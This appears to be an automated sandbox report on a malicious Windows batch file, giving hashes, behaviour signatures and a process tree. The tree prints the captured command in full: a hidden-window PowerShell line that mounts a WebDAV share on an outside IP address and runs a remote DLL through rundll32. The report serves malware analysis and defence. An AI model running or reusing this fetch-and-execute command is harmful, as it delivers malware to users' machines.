Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 17:15

General

  • Target

    1636923356216104319.bat

  • Size

    2KB

  • MD5

    671835b5ba85f58fa48233a3a78e2b60

  • SHA1

    e827dae662a688fef5c161af5b6cf1bb71840736

  • SHA256

    9bbfb551bbc989aa9b84eb4a3618376d3a98915ae6df5f6022695c7f5cd59786

  • SHA512

    0e1c5e3917b0bc6863fa12d462777f1404afcd3855e95c968e11676238421e33cbc6cabbe884441781ce229a151bcc25a248a64a176315d07ea402bf98edc7c7

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1636923356216104319.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4571.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:3004
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4571.dll entry
          3⤵
            PID:2908

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2344-23-0x000000001B5B0000-0x000000001B892000-memory.dmp

        Filesize

        2.9MB

      • memory/2344-24-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

        Filesize

        32KB